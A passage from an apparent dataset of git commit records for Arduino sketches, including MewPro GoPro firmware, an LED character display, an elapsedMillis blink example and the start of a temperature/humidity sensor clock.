{{1,1,1},{0,0,1},{0,1,1},{0,0,1},{1,1,1}}, \/\/3\n {{1,0,1},{1,0,1},{1,1,1},{0,0,1},{0,0,1}}, \/\/4\n {{1,1,1},{1,0,0},{1,1,0},{0,0,1},{1,1,0}}, \/\/5\n {{1,1,1},{1,0,0},{1,1,1},{1,0,1},{1,1,1}}, \/\/6\n {{1,1,1},{0,0,1},{0,1,0},{1,0,0},{1,0,0}}, \/\/7\n {{1,1,1},{1,0,1},{1,1,1},{1,0,1},{1,1,1}}, \/\/8\n {{1,1,1},{1,0,1},{1,1,1},{0,0,1},{0,1,1}}}; \/\/9 These last several could use some straightening out\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n pinMode(railA, OUTPUT);\n pinMode(railB, OUTPUT);\n pinMode(railC, OUTPUT);\n}\n\nboolean getEncoding(char currentLetter, int currentLayer, int rail){\n\n if(currentLetter>64 && currentLetter<91) {\n \/\/this is a capital letter\n return alphabet[(currentLetter-65)][currentLayer][rail];\n }\n if(currentLetter>47 && currentLetter<58) {\n \/\/This is a number\n return numbers[(currentLetter-48)][currentLayer][rail];\n }\n if(currentLetter == 32){\n \/\/This is a space\n return 0; \n }\n return 0;\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n if(repeat||first){\n digitalWrite(railA,getEncoding(show[currentIndex],currentLayer,0));\n digitalWrite(railB,getEncoding(show[currentIndex],currentLayer,1));\n digitalWrite(railC,getEncoding(show[currentIndex],currentLayer,2));\n delay(pixelDuration);\n digitalWrite(railA,0);\n digitalWrite(railB,0);\n digitalWrite(railC,0);\n delay(pixelPitch);\n currentLayer++;\n if(currentLayer>=layers){\n currentLayer = 0;\n currentIndex++;\n delay(750);\n }\n if(currentIndex>=show.length()){\n currentIndex = 0;\n first = 0;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ThreeRail.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"812aad85f8538783cade863331d954f53529344b","subject":"attiny1634 compile notice deleted","message":"attiny1634 compile notice deleted\n","repos":"orangkucing\/MewPro,orangkucing\/MewPro,jcanseco\/MewPro,jcanseco\/MewPro,hunt0r\/MewPro","old_file":"MewPro.ino","new_file":"MewPro.ino","new_contents":"\/\/ MewPro\n\/\/\n\/\/ The following small-factor micro processor boards are known to work with MewPro at least core functionalities and fit within the GoPro housing.\n\/\/ Not all the sensors, however, are supported by each of them.\n\/\/\n\/\/ Arduino Pro Mini 328 3.3V 8MHz\n\/\/ w\/ Arduino IDE 1.5.7+\n\/\/ if you have troubles in compiling unused or nonexistent libraries, simply comment out #include line as \/\/#include (see Note* below)\n\/\/\n\/\/ Arduino Pro Micro - 3.3V 8MHz\n\/\/ w\/ Arduino IDE 1.5.7+\n\/\/ if you have troubles in compiling unused or nonexistent libraries, simply comment out #include line as \/\/#include (see Note* below)\n\/\/\n\/\/ Teensy 3.x \/ Teensy LC\n\/\/ [POWER SUPPLY: The VIN-VUSB pad connection on the bottom side of Teensy 3.x\/LC needs to be cut.]\n\/\/ To compile the code with Teensy 3.x\/LC:\n\/\/ 1. use Arduino IDE 1.0.6+ and Teensyduino 1.20+\n\/\/ 2. comment out all unused #include as \/\/#include (see Note* below)\n\/\/\n\/\/ (Note*: There is an infamous Arduino IDE's preprocessor bug (or something) that causes to ignore #ifdef\/#else\/#endif directives and forces \n\/\/ to compile unnecessary libraries.)\n\/\/\n\/\/ Intel Edison\n\/\/ Since Intel Edison can not work as I2C slave, it requires an I2C proxy.\n\/\/\n\/\/ GR-KURUMI\n\/\/ [POWER SUPPLY: The dummy resistor soldered on JP1 of the MewPro board needs replacement w\/ a general purpose diode of >100mA w\/ dropoff voltage 1V\n\/\/ (eg. Bourns S0180); Anode should be located on the Herobus side and Cathode on the Arduino side.]\n\/\/ To compile the code with GR-KURUMI using Renesas web compiler http:\/\/www.renesas.com\/products\/promotion\/gr\/index.jsp#cloud :\n\/\/ 1. open a new project with the template GR-KURUMI_Sketch_V1.04.zip.\n\/\/ 2. create a folder named MewPro and upload all the files there.\n\/\/ 3. at project's home directory, replace all the lines of gr_scketch.cpp by the following code (BEGIN \/ END lines should be excluded).\n\/* BEGIN copy\n#include <RLduino78.h>\n#include \"MewPro\/MewPro.ino\"\n#include \"MewPro\/a_Queue.ino\"\n#include \"MewPro\/b_TimeAlarms.ino\"\n#include \"MewPro\/c_I2C.ino\"\n#include \"MewPro\/d_BacpacCommands.ino\"\n#include \"MewPro\/e_Shutter.ino\"\n#include \"MewPro\/f_Switch.ino\"\n#include \"MewPro\/g_IRremote.ino\"\n#include \"MewPro\/h_LightSensor.ino\"\n#include \"MewPro\/i_PIRsensor.ino\"\n#include \"MewPro\/j_VideoMotionDetect.ino\"\n#include \"MewPro\/k_Genlock.ino\"\nEND copy *\/\n\/\/\n\n\/\/ Copyright (c) 2014-2015 orangkucing\n\/\/\n\/\/ MewPro firmware version string for maintenance\n#define MEWPRO_FIRMWARE_VERSION \"2015051800\"\n\n\/\/\n#include <Arduino.h>\n#include <EEPROM.h>\n#include \"MewPro.h\"\n\n\/\/ enable console output\n\/\/ set false if this is MewPro #0 of dual dongle configuration\nboolean debug = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Options:\n\/\/ Choose either \"#define\" to use or \"#undef\" not to use. \n\/\/ if #define then don't forget to remove \/\/ before \/\/#include\n\n\/\/********************************************************\n\/\/ a_TimeAlarms: MewPro driven timelapse\n#undef USE_TIME_ALARMS\n\/\/ Time and TimeAlarms libraries are downloadable from\n\/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_Time.html\n\/\/ and http:\/\/www.pjrc.com\/teensy\/td_libs_TimeAlarms.html\n\/\/ In order to compile the code on Pro Mini 328, find the following and edit the first line of them\n\/\/ #if defined(__AVR__)\n\/\/ #include <avr\/pgmspace.h>\n\/\/ #else\n\/\/ to\n\/\/ #if defined(__AVR__) && !defined(__AVR_ATmega328P__)\n\/\/ #include <avr\/pgmspace.h>\n\/\/ #else\n\/\/ appeared in Documents\/Arduino\/libraries\/Time\/DateStrings.cpp\n\/\/#include <Time.h> \/\/ *** please comment out this line if USE_TIME_ALARMS is not defined ***\n\/\/#include <TimeAlarms.h> \/\/ *** please comment out this line if USE_TIME_ALARMS is not defined ***\n\n\/\/********************************************************\n\/\/ c_I2C: I2C interface (THIS PART CAN'T BE OPTED OUT)\n\/\/ \n\/\/ Note: in order to use MewPro reliably, THE FOLLOWING MODIFICATIONS TO STANDARD ARDUINO LIBRARY SOURCE IS\n\/\/ STRONGLY RECOMMENDED:\n\/\/\n\/\/ Arduino Pro Mini \/ Arduino Pro Micro\n\/\/ 1. hardware\/arduino\/avr\/libraries\/Wire\/Wire.h\n\/\/ old: #define BUFFER_LENGTH 32 --> new: #define BUFFER_LENGTH 64\n\/\/ 2. hardware\/arduino\/avr\/libraries\/Wire\/utility\/twi.h\n\/\/ old: #define TWI_BUFFER_LENGTH 32 --> new: #define TWI_BUFFER_LENGTH 64\n\/\/ Arduino Due\n\/\/ hardware\/arduino\/sam\/libraries\/Wire\/Wire.h\n\/\/ old: #define BUFFER_LENGTH 32 --> new: #define BUFFER_LENGTH 64\n#include <Wire.h> \/\/ *** please comment out this line if __MK20DX256__ or __MK20DX128__ or __MKL26Z64__ or __AVR_ATtiny1634__ is defined ***\n#if BUFFER_LENGTH < 64\n#error Please modify Arduino Wire library source code to increase the I2C buffer size\n#endif\n\/\/\n\/\/ Teensy 3.0 or 3.1 or LC\n\/\/#include <i2c_t3.h> \/\/ *** please comment out this line if __MK20DX256__ and __MK20DX128__ and __MKL26Z64__ are not defined ***\n\/\/\n\/\/ ATtiny1634 core https:\/\/github.com\/SpenceKonde\/arduino-tiny-841\n\/\/ WireS library is downloadable from https:\/\/github.com\/orangkucing\/WireS\n\/\/#include <WireS.h> \/\/ *** please comment out this line if __AVR_ATtiny1634__ is not defined ***\n\n#undef USE_I2C_PROXY \/\/ define if using I2C proxy and this CPU acts as I2C master\n\n\/\/********************************************************\n\/\/ e_Shutters: A remote shutters without contact bounce or chatter\n#undef USE_SHUTTER\n\n\/\/********************************************************\n\/\/ f_Switches: One or two mechanical switches\n#undef USE_SWITCHES\n\n\/\/********************************************************\n\/\/ g_IRremote: IR remote controller\n#undef USE_IR_REMOTE\n\/\/ IRremote2 is downloadable from https:\/\/github.com\/enternoescape\/Arduino-IRremote-Due\n\/\/ (this works not only on Due but also on Pro Mini etc.)\n\/\/#include <IRremote2.h> \/\/ *** please comment out this line if USE_IR_REMOTE is not defined ***\n\n\/\/********************************************************\n\/\/ h_LightSensor: Ambient light sensor\n#undef USE_LIGHT_SENSOR\n\n\/\/********************************************************\n\/\/ i_PIRsensor: Passive InfraRed motion sensor\n#undef USE_PIR_SENSOR\n\n\/\/********************************************************\n\/\/ j_VideoMotionDetect: Video Motion Detector\n\/\/ Video motion detect consumes almost all the dynamic memory. So if you want to use this then #undef all options above.\n#undef USE_VIDEOMOTION\n\/\/ The part of code utilizes the following library except GR-KURUMI. Please download and install:\n\/\/ https:\/\/github.com\/orangkucing\/analogComp\n\/\/#include \"analogComp.h\" \/\/ *** please comment out this line if USE_VIDEOMOTION is not defined or GR-KURUMI ***\n\n\/\/********************************************************\n\/\/ k_Genlock: Generator Lock\n\/\/ Note: MewPro #0 in dual dongle configuration should always boolean debug = false;\n#undef USE_GENLOCK\n\n\/\/ end of Options\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ if __AVR_ATmega32U4__ (Leonardo or Pro Micro) then use Serial1 (TTL) instead of Serial (USB) to communicate with genlock dongle\n#if defined(USE_GENLOCK) && defined(__AVR_ATmega32U4__)\n#define Serial Serial1\n#endif\n\nboolean lastHerobusState = LOW; \/\/ Will be HIGH when camera attached.\nint eepromId = 0;\n\nvoid userSettings()\n{\n \/\/ This function is called once after camera boot.\n \/\/ you can set put any camera commands here. For example:\n \/\/ queueIn(\"AI1\");\n \/\/ queueIn(\"TI5\");\n}\n\nvoid setup()\n{\n \/\/ Remark. Arduino Pro Mini 328 3.3V 8MHz is too slow to catch up with the highest 115200 baud.\n \/\/ cf. http:\/\/forum.arduino.cc\/index.php?topic=54623.0\n \/\/ Set 57600 baud or slower.\n Serial.begin(57600);\n \n setupShutter();\n setupSwitch();\n setupIRremote();\n setupLightSensor();\n setupPIRSensor();\n setupGenlock();\n\n setupLED(); \/\/ onboard LED setup \n pinMode(BPRDY, OUTPUT); digitalWrite(BPRDY, LOW); \/\/ Show camera MewPro attach. \n\n \/\/ don't forget to switch pin configurations to INPUT.\n pinMode(I2CINT, INPUT); \/\/ Teensy: default disabled\n pinMode(HBUSRDY, INPUT); \/\/ default: analog input\n pinMode(PWRBTN, INPUT); \/\/ default: analog input\n}\n\nvoid loop() \n{\n \/\/ Attach or detach bacpac\n if (digitalRead(HBUSRDY) == HIGH) {\n if (lastHerobusState != HIGH) {\n#if !defined(USE_I2C_PROXY)\n pinMode(I2CINT, OUTPUT); digitalWrite(I2CINT, HIGH);\n#endif\n lastHerobusState = HIGH;\n if (eepromId == 0) {\n isMaster(); \/\/ determine master\/slave and resetI2C()\n } else {\n resetI2C();\n }\n }\n } else {\n if (lastHerobusState != LOW) {\n pinMode(I2CINT, INPUT);\n lastHerobusState = LOW;\n }\n }\n checkTimeAlarms();\n checkBacpacCommands();\n checkCameraCommands();\n checkSwitch();\n checkIRremote();\n checkLightSensor();\n checkPIRSensor();\n checkVMD();\n checkGenlock();\n}\n\n","old_contents":"\/\/ MewPro\n\/\/\n\/\/ The following small-factor micro processor boards are known to work with MewPro at least core functionalities and fit within the GoPro housing.\n\/\/ Not all the sensors, however, are supported by each of them.\n\/\/\n\/\/ Arduino Pro Mini 328 3.3V 8MHz\n\/\/ w\/ Arduino IDE 1.5.7+\n\/\/ if you have troubles in compiling unused or nonexistent libraries, simply comment out #include line as \/\/#include (see Note* below)\n\/\/\n\/\/ Arduino Pro Micro - 3.3V 8MHz\n\/\/ w\/ Arduino IDE 1.5.7+\n\/\/ if you have troubles in compiling unused or nonexistent libraries, simply comment out #include line as \/\/#include (see Note* below)\n\/\/\n\/\/ Teensy 3.x \/ Teensy LC\n\/\/ [POWER SUPPLY: The VIN-VUSB pad connection on the bottom side of Teensy 3.x\/LC needs to be cut.]\n\/\/ To compile the code with Teensy 3.x\/LC:\n\/\/ 1. use Arduino IDE 1.0.6+ and Teensyduino 1.20+\n\/\/ 2. comment out all unused #include as \/\/#include (see Note* below)\n\/\/\n\/\/ (Note*: There is an infamous Arduino IDE's preprocessor bug (or something) that causes to ignore #ifdef\/#else\/#endif directives and forces \n\/\/ to compile unnecessary libraries.)\n\/\/\n\/\/ Intel Edison\n\/\/ Since Intel Edison can not work as I2C slave, it requires an I2C proxy.\n\/\/\n\/\/ GR-KURUMI\n\/\/ [POWER SUPPLY: The dummy resistor soldered on JP1 of the MewPro board needs replacement w\/ a general purpose diode of >100mA w\/ dropoff voltage 1V\n\/\/ (eg. Bourns S0180); Anode should be located on the Herobus side and Cathode on the Arduino side.]\n\/\/ To compile the code with GR-KURUMI using Renesas web compiler http:\/\/www.renesas.com\/products\/promotion\/gr\/index.jsp#cloud :\n\/\/ 1. open a new project with the template GR-KURUMI_Sketch_V1.04.zip.\n\/\/ 2. create a folder named MewPro and upload all the files there.\n\/\/ 3. at project's home directory, replace all the lines of gr_scketch.cpp by the following code (BEGIN \/ END lines should be excluded).\n\/* BEGIN copy\n#include <RLduino78.h>\n#include \"MewPro\/MewPro.ino\"\n#include \"MewPro\/a_Queue.ino\"\n#include \"MewPro\/b_TimeAlarms.ino\"\n#include \"MewPro\/c_I2C.ino\"\n#include \"MewPro\/d_BacpacCommands.ino\"\n#include \"MewPro\/e_Shutter.ino\"\n#include \"MewPro\/f_Switch.ino\"\n#include \"MewPro\/g_IRremote.ino\"\n#include \"MewPro\/h_LightSensor.ino\"\n#include \"MewPro\/i_PIRsensor.ino\"\n#include \"MewPro\/j_VideoMotionDetect.ino\"\n#include \"MewPro\/k_Genlock.ino\"\nEND copy *\/\n\/\/\n\n\/\/ Copyright (c) 2014-2015 orangkucing\n\/\/\n\/\/ MewPro firmware version string for maintenance\n#define MEWPRO_FIRMWARE_VERSION \"2015051800\"\n\n\/\/\n#include <Arduino.h>\n#include <EEPROM.h>\n#include \"MewPro.h\"\n\n\/\/ enable console output\n\/\/ set false if this is MewPro #0 of dual dongle configuration\nboolean debug = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Options:\n\/\/ Choose either \"#define\" to use or \"#undef\" not to use. \n\/\/ if #define then don't forget to remove \/\/ before \/\/#include\n\n\/\/********************************************************\n\/\/ a_TimeAlarms: MewPro driven timelapse\n#undef USE_TIME_ALARMS\n\/\/ Time and TimeAlarms libraries are downloadable from\n\/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_Time.html\n\/\/ and http:\/\/www.pjrc.com\/teensy\/td_libs_TimeAlarms.html\n\/\/ In order to compile the code on Pro Mini 328, find the following and edit the first line of them\n\/\/ #if defined(__AVR__)\n\/\/ #include <avr\/pgmspace.h>\n\/\/ #else\n\/\/ to\n\/\/ #if defined(__AVR__) && !defined(__AVR_ATmega328P__)\n\/\/ #include <avr\/pgmspace.h>\n\/\/ #else\n\/\/ appeared in Documents\/Arduino\/libraries\/Time\/DateStrings.cpp\n\/\/#include <Time.h> \/\/ *** please comment out this line if USE_TIME_ALARMS is not defined ***\n\/\/#include <TimeAlarms.h> \/\/ *** please comment out this line if USE_TIME_ALARMS is not defined ***\n\n\/\/********************************************************\n\/\/ c_I2C: I2C interface (THIS PART CAN'T BE OPTED OUT)\n\/\/ \n\/\/ Note: in order to use MewPro reliably, THE FOLLOWING MODIFICATIONS TO STANDARD ARDUINO LIBRARY SOURCE IS\n\/\/ STRONGLY RECOMMENDED:\n\/\/\n\/\/ Arduino Pro Mini \/ Arduino Pro Micro\n\/\/ 1. hardware\/arduino\/avr\/libraries\/Wire\/Wire.h\n\/\/ old: #define BUFFER_LENGTH 32 --> new: #define BUFFER_LENGTH 64\n\/\/ 2. hardware\/arduino\/avr\/libraries\/Wire\/utility\/twi.h\n\/\/ old: #define TWI_BUFFER_LENGTH 32 --> new: #define TWI_BUFFER_LENGTH 64\n\/\/ Arduino Due\n\/\/ hardware\/arduino\/sam\/libraries\/Wire\/Wire.h\n\/\/ old: #define BUFFER_LENGTH 32 --> new: #define BUFFER_LENGTH 64\n#include <Wire.h> \/\/ *** please comment out this line if __MK20DX256__ or __MK20DX128__ or __MKL26Z64__ or __AVR_ATtiny1634__ is defined ***\n#if BUFFER_LENGTH < 64\n#error Please modify Arduino Wire library source code to increase the I2C buffer size\n#endif\n\/\/\n\/\/ Teensy 3.0 or 3.1 or LC\n\/\/#include <i2c_t3.h> \/\/ *** please comment out this line if __MK20DX256__ and __MK20DX128__ and __MKL26Z64__ are not defined ***\n\/\/\n\/\/ ATtiny1634 core https:\/\/github.com\/SpenceKonde\/arduino-tiny-841\n\/\/ WireS library is downloadable from https:\/\/github.com\/orangkucing\/WireS\n\/\/ - In order to use F(\" \") macro, hardware\/arduino-tiny-841\/avr\/cores\/tiny\/{Print|WString}.{cpp|h} must\n\/\/ be replaced by hardware\/arduino\/avr\/cores\/arduino\/{Print|WString}.{cpp|h}\n\/\/ - And hardware\/arduino\/avr\/cores\/arduino\/Printable.h must be copied to\n\/\/ hardware\/arduino-tiny-841\/avr\/cores\/tiny\/Printable.h\n\/\/ - Please also refer this commit: https:\/\/github.com\/orangkucing\/WireS\/commit\/e5d0a80ebd1f0797fc750a10208918a6392a488a\n\/\/#include <WireS.h> \/\/ *** please comment out this line if __AVR_ATtiny1634__ is not defined ***\n\n#undef USE_I2C_PROXY \/\/ define if using I2C proxy and this CPU acts as I2C master\n\n\/\/********************************************************\n\/\/ e_Shutters: A remote shutters without contact bounce or chatter\n#undef USE_SHUTTER\n\n\/\/********************************************************\n\/\/ f_Switches: One or two mechanical switches\n#undef USE_SWITCHES\n\n\/\/********************************************************\n\/\/ g_IRremote: IR remote controller\n#undef USE_IR_REMOTE\n\/\/ IRremote2 is downloadable from https:\/\/github.com\/enternoescape\/Arduino-IRremote-Due\n\/\/ (this works not only on Due but also on Pro Mini etc.)\n\/\/#include <IRremote2.h> \/\/ *** please comment out this line if USE_IR_REMOTE is not defined ***\n\n\/\/********************************************************\n\/\/ h_LightSensor: Ambient light sensor\n#undef USE_LIGHT_SENSOR\n\n\/\/********************************************************\n\/\/ i_PIRsensor: Passive InfraRed motion sensor\n#undef USE_PIR_SENSOR\n\n\/\/********************************************************\n\/\/ j_VideoMotionDetect: Video Motion Detector\n\/\/ Video motion detect consumes almost all the dynamic memory. So if you want to use this then #undef all options above.\n#undef USE_VIDEOMOTION\n\/\/ The part of code utilizes the following library except GR-KURUMI. Please download and install:\n\/\/ https:\/\/github.com\/orangkucing\/analogComp\n\/\/#include \"analogComp.h\" \/\/ *** please comment out this line if USE_VIDEOMOTION is not defined or GR-KURUMI ***\n\n\/\/********************************************************\n\/\/ k_Genlock: Generator Lock\n\/\/ Note: MewPro #0 in dual dongle configuration should always boolean debug = false;\n#undef USE_GENLOCK\n\n\/\/ end of Options\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ if __AVR_ATmega32U4__ (Leonardo or Pro Micro) then use Serial1 (TTL) instead of Serial (USB) to communicate with genlock dongle\n#if defined(USE_GENLOCK) && defined(__AVR_ATmega32U4__)\n#define Serial Serial1\n#endif\n\nboolean lastHerobusState = LOW; \/\/ Will be HIGH when camera attached.\nint eepromId = 0;\n\nvoid userSettings()\n{\n \/\/ This function is called once after camera boot.\n \/\/ you can set put any camera commands here. For example:\n \/\/ queueIn(\"AI1\");\n \/\/ queueIn(\"TI5\");\n}\n\nvoid setup()\n{\n \/\/ Remark. Arduino Pro Mini 328 3.3V 8MHz is too slow to catch up with the highest 115200 baud.\n \/\/ cf. http:\/\/forum.arduino.cc\/index.php?topic=54623.0\n \/\/ Set 57600 baud or slower.\n Serial.begin(57600);\n \n setupShutter();\n setupSwitch();\n setupIRremote();\n setupLightSensor();\n setupPIRSensor();\n setupGenlock();\n\n setupLED(); \/\/ onboard LED setup \n pinMode(BPRDY, OUTPUT); digitalWrite(BPRDY, LOW); \/\/ Show camera MewPro attach. \n\n \/\/ don't forget to switch pin configurations to INPUT.\n pinMode(I2CINT, INPUT); \/\/ Teensy: default disabled\n pinMode(HBUSRDY, INPUT); \/\/ default: analog input\n pinMode(PWRBTN, INPUT); \/\/ default: analog input\n}\n\nvoid loop() \n{\n \/\/ Attach or detach bacpac\n if (digitalRead(HBUSRDY) == HIGH) {\n if (lastHerobusState != HIGH) {\n#if !defined(USE_I2C_PROXY)\n pinMode(I2CINT, OUTPUT); digitalWrite(I2CINT, HIGH);\n#endif\n lastHerobusState = HIGH;\n if (eepromId == 0) {\n isMaster(); \/\/ determine master\/slave and resetI2C()\n } else {\n resetI2C();\n }\n }\n } else {\n if (lastHerobusState != LOW) {\n pinMode(I2CINT, INPUT);\n lastHerobusState = LOW;\n }\n }\n checkTimeAlarms();\n checkBacpacCommands();\n checkCameraCommands();\n checkSwitch();\n checkIRremote();\n checkLightSensor();\n checkPIRSensor();\n checkVMD();\n checkGenlock();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"c3ebb62bf4cbc40aee832f849aad95d2d73a342b","subject":"free ram belongs to the diagnostic info as well \u2026","message":"free ram belongs to the diagnostic info as well \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"dc6db8dcb321ca609e65d51a79002e06ef8e46a6","subject":"Funny action : angle corrig\u00e9","message":"Funny action : angle corrig\u00e9\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Funny Action\/Software\/Funny_action\/Funny_action.ino","new_file":"Module Funny Action\/Software\/Funny_action\/Funny_action.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Funny' did not match any file(s) known to git\nerror: pathspec 'Action\/Software\/Funny_action\/Funny_action.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"148781253e573710faaccf199152c4d07d17c0c8","subject":"Added another example which uses all helpers","message":"Added another example which uses all helpers\n\n","repos":"pfeerick\/elapsedMillis","old_file":"examples\/blinkingLeds\/blinkingLeds.ino","new_file":"examples\/blinkingLeds\/blinkingLeds.ino","new_contents":"\/* \n Simple demo of using all the timing helpers elapsedMillis makes available.\n\n Either attach LEDs with series resistors to the indicated pins, or a\n six led \/ six bit 'Chartreuse' module plugged into pins 8 through GND. \n \n Wired up in order, the leds have a nice walking\/counting effect.\n \n This example code is in the public domain.\n*\/\n\n#include <elapsedMillis.h>\n\n\/\/declare these global if you don't want them reset every time loop runs\nelapsedMicros LED1micro;\nelapsedMicros LED2micro;\nelapsedMillis LED3millis;\nelapsedMillis LED4millis;\nelapsedSeconds LED5seconds;\nelapsedSeconds LED6seconds;\n\nconst int LED1 = 8;\nconst int LED2 = 9;\nconst int LED3 = 10;\nconst int LED4 = 11;\nconst int LED5 = 12;\nconst int LED6 = 13;\n\n\/\/ delay between blinks of the LED\nunsigned long LED1_Interval = 62500;\nunsigned long LED2_Interval = 125000;\nunsigned int LED3_Interval = 250;\nunsigned int LED4_Interval = 500;\nunsigned int LED5_Interval = 1;\nunsigned int LED6_Interval = 2;\n\nvoid setup()\n{\n \/\/ initialize the LED pins as outputs\n pinMode(LED1, OUTPUT);\n pinMode(LED2, OUTPUT);\n pinMode(LED3, OUTPUT);\n pinMode(LED4, OUTPUT);\n pinMode(LED5, OUTPUT);\n pinMode(LED6, OUTPUT);\n}\n\nvoid loop()\n{\n if (LED1micro >= LED1_Interval)\n {\n digitalWrite(LED1, !(digitalRead(LED1))); \/\/ toggle the LED state\n LED1micro = 0; \/\/ reset the counter to 0 so the counting starts over...\n }\n\n if (LED2micro >= LED2_Interval)\n {\n digitalWrite(LED2, !(digitalRead(LED2))); \/\/ toggle the LED state\n LED2micro = 0; \/\/ reset the counter to 0 so the counting starts over...\n }\n\n if (LED3millis >= LED3_Interval)\n {\n digitalWrite(LED3, !(digitalRead(LED3))); \/\/ toggle the LED state\n LED3millis = 0; \/\/ reset the counter to 0 so the counting starts over...\n }\n\n if (LED4millis >= LED4_Interval)\n {\n digitalWrite(LED4, !(digitalRead(LED4))); \/\/ toggle the LED state\n LED4millis = 0; \/\/ reset the counter to 0 so the counting starts over...\n }\n\n if (LED5seconds >= LED5_Interval)\n {\n digitalWrite(LED5, !(digitalRead(LED5))); \/\/ toggle the LED state\n LED5seconds = 0; \/\/ reset the counter to 0 so the counting starts over...\n }\n\n if (LED6seconds >= LED6_Interval)\n {\n digitalWrite(LED6, !(digitalRead(LED6))); \/\/ toggle the LED state\n LED6seconds = 0; \/\/ reset the counter to 0 so the counting starts over...\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/blinkingLeds\/blinkingLeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"21e1acbf01843fe9490f1a1149985824a24f1738","subject":"Initial commit","message":"Initial commit\n","repos":"yeokm1\/sensor_clock_2,yeokm1\/sensor_clock_2","old_file":"sensor_clock_2.ino","new_file":"sensor_clock_2.ino","new_contents":"#include <SPI.h>\n#include <Wire.h>\n#include <JeeLib.h>\n\n#include <DHT.h>\n#include <RTC_DS1307.h>\n\n#include <LCD03.h>\n \n\n#define LED_13_PIN 13\n\n#define DHTPIN A0 \n#define DHTTYPE DHT22 \n\n#define LCD_CHAR_LENGTH 16\n\n#define LCD_DEGREES_SYMBOL (char) 223\n\n#define REFRESH_INTERVAL 5 \/\/Minimum 5 seconds for DHT22 to refresh. Do not exceed 59\n\n\n#define SLEEP_INTERVAL 250 \/\/0.25s\n#define SLEEP_LONG_INTERVAL 45000 \/\/45s\n\n#define OFF_HOUR 01\n#define OFF_MIN 00\n\n#define ON_HOUR 06\n#define ON_MIN 30\n\n#define TURN_OFF_AT_TIMES true \/\/Set to false if you don't want the screen and readings to stop at certain times.\n\n#define THERM_ICON_REP 1\n#define HUM_ICON_REP 2\n\n\/\/Icons from http:\/\/www.instructables.com\/id\/Clock-with-termometer-using-Arduino-i2c-16x2-lcd-D\/\nbyte thermIcon[8] = \/\/icon for thermometer\n{\n B00100,\n B01010,\n B01010,\n B01110,\n B01110,\n B11111,\n B11111,\n B01110\n};\n\nbyte humIcon[8] = \/\/icon for humidity\n{\n B00100,\n B00100,\n B01010,\n B01010,\n B10001,\n B10001,\n B10001,\n B01110,\n};\n\n\nDHT dht(DHTPIN, DHTTYPE);\nRTC_DS1307 RTC; \/\/Code for this works although I use DS3231. For the initial time setting convenience.\nISR(WDT_vect) { Sleepy::watchdogEvent(); } \/\/ Setup for low power waiting\n\/\/ Create new LCD03 instance\nLCD03 lcd;\n\nint prevIntervalReadingSecond = 0;\nint prevUpdateTimeSecond = 0;\nint prevUpdateTurnOnAndOffMinute = 0;\n\nbool currentlyOn = true;\n\nvoid setup(){\n Serial.begin(9600);\n \n \/\/Disable LED Pin 13 (Optional). I just hate the constant LED light.\n pinMode(LED_13_PIN, OUTPUT);\n digitalWrite(LED_13_PIN, LOW);\n \n \/\/Start RTC\n Wire.begin();\n RTC.begin();\n \n if (!RTC.isrunning()) {\n Serial.println(\"RTC is NOT running\");\n }\n\n \/\/ This section grabs the current datetime and compares it to\n \/\/ the compilation time. If necessary, the RTC is updated.\n DateTime now = RTC.now();\n DateTime compiled = DateTime(__DATE__, __TIME__);\n \n if (now.unixtime() < compiled.unixtime()) {\n Serial.println(\"RTC is older than compile time! Updating\");\n RTC.adjust(DateTime(__DATE__, __TIME__));\n }\n \n \/\/Start LCD\n lcd.begin(LCD_CHAR_LENGTH, 2);\n\n\n lcd.createChar(THERM_ICON_REP,thermIcon);\n lcd.createChar(HUM_ICON_REP,humIcon);\n \n \/\/Turns off backlight\n lcd.noBacklight();\n \n printThisOnLCDLine(\"By: YKM\", 1);\n\n\n \/\/Start DTT\n dht.begin();\n \n\n}\n\nvoid loop(){\n DateTime now = RTC.now(); \n\n\n int second = now.second(); \n int minute = now.minute();\n int hour = now.hour();\n\n if(currentlyOn){\n\n \/\/Update time only if second changes. Prevent needless requests to LCD\n 